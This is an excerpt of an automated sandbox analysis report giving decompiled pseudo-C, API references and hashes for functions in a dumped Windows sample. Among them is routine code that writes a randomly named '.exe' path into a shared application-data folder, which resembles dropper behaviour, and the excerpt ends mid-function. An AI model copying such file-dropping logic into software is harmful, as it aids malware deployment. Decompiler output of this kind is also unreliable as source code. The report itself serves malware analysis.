				void* _t25;
				void* _t27;

				_t25 = L00311D10(__ecx, __edx, __edi, __esi);
				 *0x323344(_t27 - 0x428, 0x104, _t25, _t27 - 0x220);
				_t20 = _t25;
				L00311DB0(_t20);
				_push(_t27 - 0x14);
				_push( *(_t27 - 4));
				_push(_t20);
				if(L003120A0(_t27 - 0x428, __edi) != 0) {
					CloseHandle( *(_t27 - 0x14));
					CloseHandle( *(_t27 - 0x10));
				}
				_t16 = CloseHandle( *(_t27 - 4));
				return _t16;
			}

0x0031e135
0x0031e14b
0x0031e154
0x0031e156
0x0031e15e
0x0031e15f
0x0031e168
0x0031e173
0x0031e178
0x0031e181
0x0031e181
0x0031e18a
0x0031e194

APIs

_snwprintf.NTDLL ref: 0031E14B
CloseHandle.KERNEL32(?), ref: 0031E178
CloseHandle.KERNEL32(?), ref: 0031E181
CloseHandle.KERNEL32(?), ref: 0031E18A

Memory Dump Source

Source File: 0000000A.00000002.1414610091.00311000.00000020.sdmp, Offset: 00310000, based on PE: true

Associated: 0000000A.00000002.1414603634.00310000.00000002.sdmp
Associated: 0000000A.00000002.1414623091.0031F000.00000002.sdmp
Associated: 0000000A.00000002.1414628275.00320000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_310000_363.jbxd

Similarity

API ID: CloseHandle$_snwprintf
String ID:
API String ID: 2398838028-0
Opcode ID: ba01fcad72836b6910f2999330fff80e48f9580ff1b53dfcbaa970334774c655
Instruction ID: 8cfdb6c75bfb08440bd299851415fab5a8d9e6f6b89f840f6099b8c850135a50
Opcode Fuzzy Hash: ba01fcad72836b6910f2999330fff80e48f9580ff1b53dfcbaa970334774c655
Instruction Fuzzy Hash: E1F03072A0001CABCF16EBA0ED069FEB73DEB08314F0001A9FA05A6011DE359F618B60

Uniqueness

Uniqueness Score: 0.01%

Function 0031D92A, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60
COMMON

C-Code - Quality: 67%

			E0031D92A(DWORD* __eax, void* __ebx, char* __esi) {
				void* _t15;
				intOrPtr _t19;
				char* _t20;
				int _t23;
				char _t25;
				void* _t32;
				void* _t38;
				void* _t41;

				_t35 = __esi;
				 *(_t38 - 4) = 0x10;
				if(GetComputerNameW(_t38 - 0x34, __eax) == 0) {
					L13:
					 *(_t38 - 0x14) = 0x58;
					L14:
					goto 0x331bff;
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_t15 = L00311C80(_t30, 0x14c, _t35);
					 *0x323350(0x324ee8, 0x104, _t15, 0x42a5e8b8,  *0x3233ac);
					return L00311DB0(_t15);
				}
				_t32 = _t38 - 0x34;
				_t19 = E003113A0(_t32);
				_push(_t32);
				 *0x323308 = _t19;
				_t20 = L00311C80(0x321c00, 0x14c, __esi);
				_t41 = _t41 + 4;
				_t35 = _t20;
				_t23 = WideCharToMultiByte(0, 0x400, _t38 - 0x34, 0xffffffff, _t38 - 0x14, 0x10, _t35, 0);
				_t30 = _t35;
				L00311DB0(_t35);
				if((0 | _t23 > 0x00000000) == 0) {
					goto L13;
				}
				_t30 = _t38 - 0x14;
				if( *(_t38 - 0x14) == 0) {
					goto L14;
				}
				do {
					_t25 =  *_t30;
					if(_t25 < 0x30 || _t25 > 0x39) {
						if(_t25 < 0x61 || _t25 > 0x7a) {
							if(_t25 < 0x41 || _t25 > 0x5a) {
								 *_t30 = 0x58;
							}
						}
					}
					_t30 =  &(_t30[1]);
				} while ( *_t30 != 0);
				goto L14;
			}

0x0031d92a
0x0031d92a
0x0031d93e
0x0031d9c5
0x0031d9c5
0x0031d9cb
0x0031d9cb
0x0031d9d0
0x0031d9d1
0x0031d9d2
0x0031d9d3
0x0031d9d6
0x0031d9f2
0x0031da06
0x0031da06
0x0031d945
0x0031d948
0x0031d94d
0x0031d953
0x0031d95d
0x0031d962
0x0031d965
0x0031d97d
0x0031d985
0x0031d98c
0x0031d994
0x00000000
0x00000000
0x0031d99a
0x0031d99d
0x00000000
0x00000000
0x0031d9a0
0x0031d9a0
0x0031d9a4
0x0031d9ac
0x0031d9b4
0x0031d9ba
0x0031d9ba
0x0031d9b4
0x0031d9ac
0x0031d9bd
0x0031d9be
0x00000000

APIs

GetComputerNameW.KERNEL32(?), ref: 0031D936
WideCharToMultiByte.KERNEL32(00000000,00000400,?,000000FF,?,00000010,00000000,00000000), ref: 0031D97D

Strings

X, xrefs: 0031D9C5

Memory Dump Source

Source File: 0000000A.00000002.1414610091.00311000.00000020.sdmp, Offset: 00310000, based on PE: true

Associated: 0000000A.00000002.1414603634.00310000.00000002.sdmp
Associated: 0000000A.00000002.1414623091.0031F000.00000002.sdmp
Associated: 0000000A.00000002.1414628275.00320000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_310000_363.jbxd

Similarity

API ID: ByteCharComputerMultiNameWide
String ID: X
API String ID: 4013585866-3081909835
Opcode ID: 95d2e1ad1881e6c308a284a9045790e75c6d8ff564989df6694040a796089690
Instruction ID: 0d2db87cd02e0d78f07a78a78e8b8b9b6f31ef903fe266381b04ba0f5c4be276
Opcode Fuzzy Hash: 95d2e1ad1881e6c308a284a9045790e75c6d8ff564989df6694040a796089690
Instruction Fuzzy Hash: 1B1148719411086AEB2BD7A8DD85BEB7BA99F0B300F210019E241E90D5DB689AC78727

Uniqueness

Uniqueness Score: 0.01%

Function 0031E000, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32
stringCOMMON

C-Code - Quality: 68%

			E0031E000(WCHAR* __ecx) {
				WCHAR* _t19;
				signed int _t23;
				signed int _t24;
				signed int _t25;
				void* _t28;

				_t19 = __ecx;
				 *0x323664(0, 0x23, 0, 0, __ecx);
				_t23 = lstrlenW(__ecx);
				 *((short*)(_t19 + _t23 * 2)) = 0x5c;
				_t24 = _t23 + 1;
				_t28 = (GetTickCount() & 0x0000000f) + 4;
				L003121E0(_t19 + _t24 * 2, _t28);
				_t25 = _t24 + _t28;
				 *((intOrPtr*)(_t19 + _t25 * 2)) = 0x65002e;
				 *((intOrPtr*)(_t19 + 4 + _t25 * 2)) = 0x650078;
				 *((short*)(_t19 + 8 + _t25 * 2)) = 0;
				return 0;
			}

0x0031e003
0x0031e00e
0x0031e01b
0x0031e022
0x0031e026
0x0031e035
0x0031e03a
0x0031e03f
0x0031e043
0x0031e04a
0x0031e052
0x0031e05a

APIs

lstrlenW.KERNEL32 ref: 0031E015
GetTickCount.KERNEL32 ref: 0031E027

Strings

x, xrefs: 0031E04A

Memory Dump Source

Source File: 0000000A.00000002.1414610091.00311000.00000020.sdmp, Offset: 00310000, based on PE: true

Associated: 0000000A.00000002.1414603634.00310000.00000002.sdmp
Associated: 0000000A.00000002.1414623091.0031F000.00000002.sdmp
Associated: 0000000A.00000002.1414628275.00320000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_310000_363.jbxd

Similarity

API ID: CountTicklstrlen
String ID: x
API String ID: 2992449761-2363233923
Opcode ID: 846d7e6f5374d9da546ea7bf79eb20f6a471ad35480b3dff196355bb8b11f0e2
Instruction ID: 206491ecdfeacbcf1475ea50372a84154f1fa9ce9a3137d44f22dd91e94a6394
Opcode Fuzzy Hash: 846d7e6f5374d9da546ea7bf79eb20f6a471ad35480b3dff196355bb8b11f0e2
Instruction Fuzzy Hash: 87F020B36043047BE3225FA0DC88B063669EF44792F044078EA09EF296DBB8C90587A4

Uniqueness

Uniqueness Score: 0.02%

Function 00315EE5, Relevance: 5.1, APIs: 4, Instructions: 82
COMMON

C-Code - Quality: 68%

			E00315EE5(void* __ebx, void __edi, signed int __esi) {
				signed int _t597;
				signed int _t599;
				void* _t600;
				signed int _t610;
				signed int* _t620;
				signed int _t623;
				signed int _t640;
				signed int _t642;
				signed int _t644;
				signed int _t652;
				signed int _t655;
				signed int _t657;
				signed int _t660;
				signed int _t666;
				signed int _t669;
				signed int _t671;
				void* _t673;
				signed int _t676;
				signed int _t680;
				signed int _t683;
				signed int _t684;
				signed int _t685;
				signed int _t690;
				unsigned int _t693;
				signed int _t694;
				signed int _t695;
				signed int _t699;
				signed int _t709;
				signed int _t714;
				signed int _t716;
				signed int _t719;
				signed int _t721;
				signed int _t722;
				intOrPtr _t734;
				intOrPtr _t735;
				intOrPtr _t736;
				signed int _t739;
				signed int _t743;
				void* _t749;
				signed int _t754;
				signed int _t756;
				signed int _t760;
				signed int _t764;
				signed int _t767;
				signed int _t771;
				void* _t776;
				signed int _t780;
				void* _t781;
				signed int _t786;
				void* _t787;
				void* _t788;
				signed int _t793;
				signed int _t794;
				void* _t796;
				signed int _t797;
				signed int _t804;
				signed int _t806;
				intOrPtr* _t808;
				void* _t809;
				signed int _t820;
				signed int _t822;
				intOrPtr _t824;
				signed char _t828;
				intOrPtr* _t830;
				void* _t831;
				signed int _t839;
				void* _t841;
				void* _t843;
				signed int _t845;
				intOrPtr _t846;
				signed int _t856;
				signed int _t859;
				void* _t860;
				void* _t861;
				void* _t862;
				void* _t863;
				void* _t864;
				void* _t865;
				void* _t866;
				void* _t867;
				signed char _t868;
				signed char _t871;
				intOrPtr _t873;
				signed int _t876;
				void* _t877;
				signed char _t879;
				signed int _t880;
				signed int _t881;
				signed char _t886;
				signed int _t888;
				void* _t889;
				void* _t890;
				signed int _t893;
				signed char _t894;
				intOrPtr _t896;
				intOrPtr _t898;
				void* _t901;
				signed char _t902;
				signed char _t903;
				void _t904;
				signed int _t908;
				signed char _t913;
				void* _t914;
				void* _t915;
				signed int _t918;
				void* _t923;
				signed int _t927;
				signed char _t931;
				signed int _t932;
				signed char _t935;
				signed int _t936;
				void* _t944;
				signed int _t959;
				unsigned int _t962;
				signed int _t963;
				signed int _t965;
				signed int _t969;
				signed int* _t970;
				signed char* _t975;
				void* _t976;
				void* _t981;
				signed int _t982;
				signed int _t983;
				signed int _t986;
				signed int _t987;
				signed int _t989;
				signed int _t991;
				signed int _t992;
				signed int _t995;
				signed int _t999;
				signed int _t1005;
				signed int _t1006;
				int _t1007;
				int _t1009;
				signed int _t1010;
				unsigned int _t1013;
				void* _t1017;
				intOrPtr _t1018;
				signed char _t1019;
				void _t1022;
				void* _t1024;
				signed int _t1025;
				void* _t1027;
				int _t1032;
				signed int _t1033;
				void* _t1035;
				unsigned int _t1036;
				signed int _t1037;
				void* _t1038;
				void* _t1040;
				signed int _t1042;
				signed int _t1043;
				unsigned int _t1045;
				signed int _t1046;
				unsigned int _t1048;
				signed int _t1049;
				signed char _t1057;
				void* _t1058;
				void* _t1060;
				void* _t1061;

				L0:
				while(1) {
					L0:
					_t1043 = __esi;
					_t1022 = __edi;
					_t841 = __ebx;
					_t596 = memset(__edi + 0x1b80, 0, ??);
					_t962 =  *(_t1058 - 4);
					_t1061 = _t1060 + 0xc;
					while(1) {
						L135:
						 *(_t1058 - 8) = _t893;
						__eflags = _t893 -  *((intOrPtr*)(_t1022 + 0x34));
						if(_t893 >=  *((intOrPtr*)(_t1022 + 0x34))) {
							break;
						}
						L136:
						__eflags = _t1043 - 3;
						if(_t1043 >= 3) {
							L139:
							_t927 = _t991 & 0x00000007;
							_t991 = _t991 >> 3;
							_t1043 = _t1043 - 3;
							 *(_t1058 - 4) = _t991;
							 *(_t1058 - 0x1c) = _t1043;
							_t596 =  *( *(_t1058 - 8) + 0x31fa24) & 0x000000ff;
							 *(_t596 + _t1022 + 0x1b80) = _t927;
							_t893 =  *(_t1058 - 8) + 1;
							continue;
						} else {
							while(1) {
								L137:
								__eflags = _t841 -  *(_t1058 - 0x20);
								if(_t841 >=  *(_t1058 - 0x20)) {
									break;
								}
								L138:
								_t596 = ( *_t841 & 0x000000ff) << _t1043;
								_t841 = _t841 + 1;
								_t991 = _t991 | _t596;
								 *(_t1058 - 0x18) = _t841;
								_t1043 = _t1043 + 8;
								 *(_t1058 - 4) = _t991;
								__eflags = _t1043 - 3;
								if(_t1043 < 3) {
									continue;
								} else {
									goto L139;
								}
								goto L295;
							}
							L249:
							 *_t1022 = 0xe;
							L285:
							__eflags =  *(_t1058 + 0x18) & 0x00000002;
							L286:
							L287:
							_t597 =  !=  ? 1 : _t596;
							 *(_t1058 - 0xc) = _t597;
							__eflags = _t597 - 1;
							if(_t597 != 1) {
								L288:
								__eflags = _t597 - 0xfffffffc;
								if(_t597 != 0xfffffffc) {
									L289:
									L292:
									_t642 =  *(_t1058 - 0x3c);
									__eflags = _t841 - _t642;
									if(_t841 > _t642) {
										while(1) {
											L293:
											__eflags = _t1043 - 8;
											if(_t1043 < 8) {
												goto L295;
											}
											L294:
											_t841 = _t841 - 1;
											_t1043 = _t1043 - 8;
											__eflags = _t841 - _t642;
											if(_t841 > _t642) {
												continue;
											}
											goto L295;
										}
									}
								}
							}
						}
						L295:
						_t963 =  *(_t1058 - 4);
						L296:
						 *(_t1022 + 4) = _t1043;
						asm("bts ecx, esi");
						__eflags = _t1043 - 0x20;
						_t599 =  >=  ? 0 : 0;
						_t856 = 0 ^ _t599;
						__eflags = _t1043 - 0x40;
						_t600 =  >=  ? _t856 : _t599;
						 *(_t1022 + 0x20) =  *(_t1058 - 0x28);
						_t965 =  *(_t1058 - 0x10) -  *(_t1058 + 0x10);
						__eflags =  *(_t1058 + 0x18) & 0x00000009;
						 *(_t1022 + 0x24) =  *(_t1058 - 8);
						 *(_t1022 + 0x28) =  *(_t1058 - 0x38);
						 *((intOrPtr*)(_t1022 + 0x3c)) =  *((intOrPtr*)(_t1058 - 0x48));
						 *(_t1022 + 0x38) = _t856 - 0x00000001 & _t963;
						 *(_t1058 - 0x10) = _t965;
						 *((intOrPtr*)( *((intOrPtr*)(_t1058 + 8)))) = _t841 -  *(_t1058 - 0x3c);
						_t843 =  *(_t1058 - 0xc);
						 *( *(_t1058 + 0x14)) = _t965;
						if(( *(_t1058 + 0x18) & 0x00000009) != 0) {
							L297:
							__eflags = _t843;
							if(_t843 >= 0) {
								L298:
								_t1045 =  *(_t1022 + 0x1c);
								_t859 = _t1045 & 0x0000ffff;
								_t610 = (0x5e6ea9af * _t965 >> 0x20 >> 0xb) * 0x15b0;
								_t1046 = _t1045 >> 0x10;
								 *(_t1058 - 0x3c) = _t1046;
								_t969 =  *(_t1058 - 0x10) - _t610;
								__eflags =  *(_t1058 - 0x10);
								 *(_t1058 - 0x34) = _t969;
								if( *(_t1058 - 0x10) != 0) {
									L299:
									_t845 = _t969;
									do {
										L300:
										_t970 = 0;
										 *(_t1058 + 0x14) = 0;
										__eflags = _t845 - 7;
										if(_t845 > 7) {
											L301:
											goto 0x3315c6;
											asm("int3");
											asm("int3");
											asm("int3");
											L302:
											_t1024 = _t1022 - _t610;
											__eflags = _t1024;
											do {
												L303:
												_t970 =  &(_t970[2]);
												_t861 = _t859 + ( *_t610 & 0x000000ff);
												_t862 = _t861 + ( *( *(_t1058 + 0x10) + 1) & 0x000000ff);
												_t863 = _t862 + ( *( *(_t1058 + 0x10) + 2) & 0x000000ff);
												_t864 = _t863 + ( *( *(_t1058 + 0x10) + 3) & 0x000000ff);
												_t865 = _t864 + ( *( *(_t1058 + 0x10) + 4) & 0x000000ff);
												_t866 = _t865 + ( *( *(_t1058 + 0x10) + 5) & 0x000000ff);
												_t867 = _t866 + ( *( *(_t1058 + 0x10) + 6) & 0x000000ff);
												_t859 = _t867 + ( *( *(_t1058 + 0x10) + 7) & 0x000000ff);
												_t640 =  *(_t1058 + 0x10) + 8;
												_t1046 = _t1046 + _t861 + _t862 + _t863 + _t864 + _t865 + _t866 + _t867 + _t859;
												 *(_t1058 + 0x10) = _t640;
												__eflags = _t1024 + _t640 - _t845;
												_t610 =  *(_t1058 + 0x10);
											} while (_t1024 + _t640 < _t845);
											 *(_t1058 + 0x14) = _t970;
											 *(_t1058 - 0x3c) = _t1046;
										}
										L305:
										_t1022 = 0;
										 *((intOrPtr*)(_t1058 + 8)) = 0;
										__eflags = _t970 - _t845;
										if(_t970 < _t845) {
											L306:
											__eflags = _t845 - _t970 - 2;
											if(_t845 - _t970 >= 2) {
												L307:
												_t620 =  *(_t1058 + 0x14);
												_t1049 =  *(_t1058 + 0x10);
												_t846 = 0;
												_t981 = (_t845 - _t620 - 2 >> 1) + 1;
												__eflags = _t981;
												 *(_t1058 + 0x14) = _t620 + _t981 * 2;
												do {
													L308:
													_t860 = _t859 + ( *_t1049 & 0x000000ff);
													_t623 =  *(_t1049 + 1) & 0x000000ff;
													_t1022 = _t1022 + _t860;
													_t1049 = _t1049 + 2;
													_t859 = _t860 + _t623;
													_t846 = _t846 + _t859;
													_t981 = _t981 - 1;
													__eflags = _t981;
												} while (_t981 != 0);
												_t970 =  *(_t1058 + 0x14);
												 *(_t1058 + 0x10) = _t1049;
												_t1046 =  *(_t1058 - 0x3c);
												 *((intOrPtr*)(_t1058 + 8)) = _t846;
												_t845 =  *(_t1058 - 0x34);
											}
											L310:
											__eflags = _t970 - _t845;
											if(_t970 < _t845) {
												_t975 =  *(_t1058 + 0x10);
												_t859 = _t859 + ( *_t975 & 0x000000ff);
												_t1046 = _t1046 + _t859;
												_t976 =  &(_t975[1]);
												__eflags = _t976;
												 *(_t1058 + 0x10) = _t976;
											}
											L312:
											_t610 =  *((intOrPtr*)(_t1058 + 8)) + _t1022;
											_t1046 = _t1046 + _t610;
											__eflags = _t1046;
										}
										L313:
										L314:
										_t859 = _t859 + (_t610 * _t859 >> 0x20 >> 0xf) * 0xffff000f;
										_t610 = (0x80078071 * _t1046 >> 0x20 >> 0xf) * 0xffff000f;
										_t1046 = _t1046 + _t610;
										_t586 = _t1058 - 0x10;
										 *_t586 =  *(_t1058 - 0x10) - _t845;
										__eflags =  *_t586;
										_t845 = 0x15b0;
										 *(_t1058 - 0x3c) = _t1046;
										 *(_t1058 - 0x34) = 0x15b0;
									} while ( *_t586 != 0);
									goto 0x3315ef;
									asm("int3");
								}
								L316:
								_t1048 = (_t1046 << 0x10) + _t859;
								 *(_t1022 + 0x1c) = _t1048;
								__eflags = _t843;
								if(_t843 == 0) {
									__eflags =  *(_t1058 + 0x18) & 0x00000001;
									if(( *(_t1058 + 0x18) & 0x00000001) != 0) {
										__eflags = _t1048 -  *(_t1022 + 0x10);
										_t843 =  !=  ? 0xfffffffe : _t843;
									}
								}
							}
						}
						L319:
						return _t843;
						L320:
					}
					L140:
					 *((intOrPtr*)(_t1022 + 0x34)) = 0x13;
					while(1) {
						L141:
						_t694 =  *(_t1022 + 0x18);
						__eflags = _t694;
						if(_t694 >= 0) {
							break;
						}
						L218:
						_t982 =  *(_t1058 - 4);
						while(1) {
							L39:
							_t879 =  *(_t1058 - 0x20) - _t841;
							__eflags = _t879 - 4;
							if(_t879 < 4) {
								goto L58;
							}
							L40:
							_t1022 =  *(_t1058 - 0x14);
							__eflags =  *((intOrPtr*)(_t1058 - 0x40)) -  *(_t1058 - 0x10) - 2;
							if( *((intOrPtr*)(_t1058 - 0x40)) -  *(_t1058 - 0x10) < 2) {
								goto L58;
							} else {
								L41:
								__eflags = _t1043 - 0xf;
								if(_t1043 < 0xf) {
									_t995 =  *(_t841 + 1) & 0x000000ff;
									_t879 = _t1043;
									_t722 =  *_t841 & 0x000000ff;
									_t841 = _t841 + 2;
									 *(_t1058 - 0x18) = _t841;
									 *(_t1058 - 4) =  *(_t1058 - 4) | (_t995 << 0x00000008 | _t722) << _t879;
									_t1043 = _t1043 + 0x10;
									__eflags = _t1043;
									_t982 =  *(_t1058 - 4);
								}
								_t596 =  *((short*)(_t1022 + 0x160 + (_t982 & 0x000003ff) * 2));
								 *(_t1058 - 8) = _t596;
								__eflags = _t596;
								if(_t596 < 0) {
									L45:
									goto 0x33145c;
									asm("int3");
									asm("int3");
									asm("int3");
									do {
										L46:
										_t709 = _t982 >> _t879;
										_t879 = _t879 + 1;
										_t596 = (_t709 & 0x00000001) +  !_t841;
										_t841 =  *((short*)(_t1022 + 0x960 + _t596 * 2));
										__eflags = _t841;
									} while (_t841 < 0);
									 *(_t1058 - 8) = _t841;
									_t841 =  *(_t1058 - 0x18);
								} else {
									L44:
									_t879 = _t596 >> 9;
								}
								L48:
								_t962 = _t982 >> _t879;
								_t1043 = _t1043 - _t879;
								_t880 =  *(_t1058 - 8);
								 *(_t1058 - 4) = _t962;
								__eflags = _t880 & 0x00000100;
								if((_t880 & 0x00000100) != 0) {
									L84:
									_t881 = _t880 & 0x000001ff;
									 *(_t1058 - 8) = _t881;
									__eflags = _t881 - 0x100;
									if(_t881 != 0x100) {
										L219:
										_t673 = _t881 * 4 - 0x404;
										_t868 =  *(_t673 + 0x31f010);
										_t596 =  *(_t673 + 0x31fa48);
										 *(_t1058 - 0x38) = _t868;
										 *(_t1058 - 8) = _t596;
										__eflags = _t868;
										if(_t868 == 0) {
											L225:
											__eflags = _t1043 - 0xf;
											if(_t1043 >= 0xf) {
												L3:
												_t655 =  *((short*)(_t1022 + 0xf00 + (_t962 & 0x000003ff) * 2));
												 *(_t1058 - 0x1c) = _t655;
												if(_t655 < 0) {
													L5:
													goto 0x3313e3;
													asm("int3");
													asm("int3");
													asm("int3");
													do {
														L7:
														_t657 = _t962 >> _t868;
														_t868 = _t868 + 1;
														_t841 =  *((short*)(_t1022 + 0x1700 + ((_t657 & 0x00000001) +  !_t841) * 2));
														__eflags = _t841;
													} while (_t841 < 0);
													 *(_t1058 - 0x1c) = _t841;
													_t841 =  *(_t1058 - 0x18);
													_t660 =  *(_t1058 - 0x1c);
												} else {
													L4:
													_t868 = _t655 >> 9;
													_t660 = _t655 & 0x000001ff;
												}
												L9:
												_t982 = _t962 >> _t868;
												_t1043 = _t1043 - _t868;
												_t871 =  *(0x31f090 + _t660 * 4);
												_t596 =  *(0x31f110 + _t660 * 4);
												 *(_t1058 - 4) = _t982;
												 *(_t1058 - 0x38) = _t871;
												 *(_t1058 - 0x28) = _t596;
												if(_t871 == 0) {
													L15:
													_t873 =  *(_t1058 - 0x10) -  *((intOrPtr*)(_t1058 + 0xc));
													 *((intOrPtr*)(_t1058 - 0x48)) = _t873;
													if(_t596 <= _t873 || ( *(_t1058 + 0x18) & 0x00000004) == 0) {
														L17:
														_t1022 =  *(_t1058 - 0x14);
														_t876 = (_t873 - _t596 &  *(_t1058 - 0x34)) +  *((intOrPtr*)(_t1058 + 0xc));
														 *(_t1058 - 0xc) = _t876;
														_t662 =  >  ?  *(_t1058 - 0x10) : _t876;
														_t877 =  *(_t1058 - 8);
														_t663 = ( >  ?  *(_t1058 - 0x10) : _t876) + _t877;
														_t1075 = ( >  ?  *(_t1058 - 0x10) : _t876) + _t877 -  *((intOrPtr*)(_t1058 - 0x40));
														if(( >  ?  *(_t1058 - 0x10) : _t876) + _t877 <=  *((intOrPtr*)(_t1058 - 0x40))) {
															L21:
															__eflags = _t877 - 9;
															if(_t877 < 9) {
																L30:
																goto 0x331420;
																asm("int3");
																do {
																	L32:
																	_t877 = _t877 - 3;
																	 *_t1022 =  *_t982 & 0x000000ff;
																	 *((char*)(_t1022 + 1)) =  *(_t982 + 1) & 0x000000ff;
																	_t666 =  *(_t982 + 2) & 0x000000ff;
																	_t982 = _t982 + 3;
																	 *(_t1022 + 2) = _t666;
																	_t1022 = _t1022 + 3;
																	__eflags = _t877 - 2;
																} while (_t877 > 2);
																goto L33;
															} else {
																L22:
																__eflags = _t877 -  *(_t1058 - 0x28);
																if(_t877 >  *(_t1058 - 0x28)) {
																	goto L30;
																} else {
																	L23:
																	_t1042 =  *(_t1058 - 0xc);
																	_t959 =  *(_t1058 - 0x10);
																	_t828 = (_t877 & 0xfffffff8) + _t1042;
																	 *(_t1058 - 0x24) = _t828;
																	_t1019 = _t828;
																	do {
																		L24:
																		 *_t959 =  *_t1042;
																		_t830 =  *((intOrPtr*)(_t1042 + 4));
																		_t1042 = _t1042 + 8;
																		 *((intOrPtr*)(_t959 + 4)) = _t830;
																		_t959 = _t959 + 8;
																		__eflags = _t1042 - _t1019;
																	} while (_t1042 < _t1019);
																	_t982 =  *(_t1058 - 4);
																	 *(_t1058 - 0x10) = _t959;
																	_t877 =  *(_t1058 - 8) & 0x00000007;
																	 *(_t1058 - 0xc) = _t1042;
																	_t1022 =  *(_t1058 - 0x14);
																	 *(_t1058 - 8) = _t877;
																	__eflags = _t877 - 3;
																	if(_t877 >= 3) {
																		goto L30;
																	} else {
																		goto L26;
																	}
																}
															}
															continue;
														} else {
															while(1) {
																L18:
																_t831 = _t877;
																_t877 = _t877 - 1;
																 *(_t1058 - 8) = _t877;
																if(_t831 == 0) {
																	goto L39;
																}
																L19:
																if( *(_t1058 - 0x10) >=  *((intOrPtr*)(_t1058 - 0x40))) {
																	L238:
																	 *(_t1058 - 0xc) = 2;
																	 *_t1022 = 0x35;
																	goto L292;
																} else {
																	L20:
																	 *(_t1058 - 0x10) =  *(_t1058 - 0x10) + 1;
																	 *((intOrPtr*)(_t1058 - 0x48)) =  *((intOrPtr*)(_t1058 - 0x48)) + 1;
																	 *( *(_t1058 - 0x10)) =  *((intOrPtr*)(( *((intOrPtr*)(_t1058 - 0x48)) -  *(_t1058 - 0x28) &  *(_t1058 - 0x34)) +  *((intOrPtr*)(_t1058 + 0xc))));
																	_t982 =  *(_t1058 - 4);
																	continue;
																}
																goto L295;
															}
															while(1) {
																L39:
																_t879 =  *(_t1058 - 0x20) - _t841;
																__eflags = _t879 - 4;
																if(_t879 < 4) {
																	goto L58;
																}
																goto L40;
															}
															goto L58;
														}
													} else {
														L270:
														_t684 = _t596 | 0xffffffff;
														 *_t1022 = 0x25;
														goto L291;
													}
												} else {
													L10:
													if(_t1043 >= _t871) {
														L13:
														_t1043 = _t1043 - _t871;
														_t839 = (_t596 << _t871) - 0x00000001 & _t982;
														_t982 = _t982 >> _t871;
														 *(_t1058 - 0x28) =  *(_t1058 - 0x28) + _t839;
														_t596 =  *(_t1058 - 0x28);
														 *(_t1058 - 4) = _t982;
														goto L15;
													} else {
														L11:
														while(_t841 <  *(_t1058 - 0x20)) {
															_t596 = ( *_t841 & 0x000000ff) << _t1043;
															_t841 = _t841 + 1;
															_t871 =  *(_t1058 - 0x38);
															_t982 = _t982 | _t596;
															_t1043 = _t1043 + 8;
															 *(_t1058 - 0x18) = _t841;
															 *(_t1058 - 4) = _t982;
															if(_t1043 < _t871) {
																continue;
															} else {
																goto L13;
															}
															goto L295;
														}
														 *_t1022 = 0x1b;
														goto L285;
													}
												}
											} else {
												L226:
												__eflags =  *(_t1058 - 0x20) - _t841 - 2;
												if( *(_t1058 - 0x20) - _t841 >= 2) {
													L237:
													_t983 =  *(_t841 + 1) & 0x000000ff;
													_t676 =  *_t841 & 0x000000ff;
													_t841 = _t841 + 2;
													_t1022 =  *(_t1058 - 0x14);
													_t868 = _t1043;
													 *(_t1058 - 0x18) = _t841;
													 *(_t1058 - 4) =  *(_t1058 - 4) | _t983 << _t1043 + 0x00000008 | _t676 << _t868;
													_t1043 = _t1043 + 0x10;
													_t962 =  *(_t1058 - 4);
												} else {
													do {
														L227:
														_t596 =  *((short*)(_t1022 + 0xf00 + (_t962 & 0x000003ff) * 2));
														 *(_t1058 - 0x24) = _t596;
														__eflags = _t596;
														if(_t596 < 0) {
															L231:
															__eflags = _t1043 - 0xa;
															if(_t1043 <= 0xa) {
																goto L1;
															} else {
																L232:
																L233:
																 *(_t1058 - 0x1c) = _t868;
																while(1) {
																	L234:
																	_t868 =  *((short*)(_t1022 + 0x1700 + ((_t962 >> _t868 & 0x00000001) +  !( *(_t1058 - 0x24))) * 2));
																	_t652 =  *(_t1058 - 0x1c) + 1;
																	 *(_t1058 - 0x24) = _t868;
																	 *(_t1058 - 0x1c) = _t652;
																	__eflags = _t868;
																	if(_t868 >= 0) {
																		goto L3;
																	}
																	L235:
																	_t596 = _t652 + 1;
																	__eflags = _t1043 - _t596;
																	if(_t1043 < _t596) {
																		goto L1;
																	} else {
																		L236:
																		_t868 =  *(_t1058 - 0x1c);
																		continue;
																	}
																	goto L295;
																}
																goto L3;
															}
														} else {
															L228:
															_t596 = _t596 >> 9;
															__eflags = _t596;
															if(_t596 == 0) {
																L1:
																if(_t841 >=  *(_t1058 - 0x20)) {
																	L264:
																	 *_t1022 = 0x1a;
																	goto L285;
																} else {
																	goto L2;
																}
															} else {
																L229:
																__eflags = _t1043 - _t596;
																if(_t1043 >= _t596) {
																	goto L3;
																} else {
																	L230:
																	goto L1;
																}
															}
														}
														goto L295;
														L2:
														_t868 = _t1043;
														_t644 = ( *_t841 & 0x000000ff) << _t868;
														_t841 = _t841 + 1;
														_t962 = _t962 | _t644;
														 *(_t1058 - 0x18) = _t841;
														_t1043 = _t1043 + 8;
														 *(_t1058 - 4) = _t962;
													} while (_t1043 < 0xf);
												}
												goto L3;
											}
										} else {
											L220:
											__eflags = _t1043 - _t868;
											if(_t1043 >= _t868) {
												L223:
												L224:
												_t1043 = _t1043 - _t868;
												_t680 = (_t596 << _t868) - 0x00000001 & _t962;
												_t962 = _t962 >> _t868;
												_t456 = _t1058 - 8;
												 *_t456 =  *(_t1058 - 8) + _t680;
												__eflags =  *_t456;
												 *(_t1058 - 4) = _t962;
												goto L225;
											} else {
												while(1) {
													L221:
													__eflags = _t841 -  *(_t1058 - 0x20);
													if(_t841 >=  *(_t1058 - 0x20)) {
														break;
													}
													L222:
													_t596 = ( *_t841 & 0x000000ff) << _t1043;
													_t841 = _t841 + 1;
													_t868 =  *(_t1058 - 0x38);
													_t962 = _t962 | _t596;
													_t1043 = _t1043 + 8;
													 *(_t1058 - 0x18) = _t841;
													 *(_t1058 - 4) = _t962;
													__eflags = _t1043 - _t868;
													if(_t1043 < _t868) {
														continue;
													} else {
														goto L223;
													}
													goto L295;
												}
												L262:
												 *_t1022 = 0x19;
												goto L285;
											}
										}
									} else {
										while(1) {
											L85:
											__eflags =  *(_t1022 + 0x14) & 0x00000001;
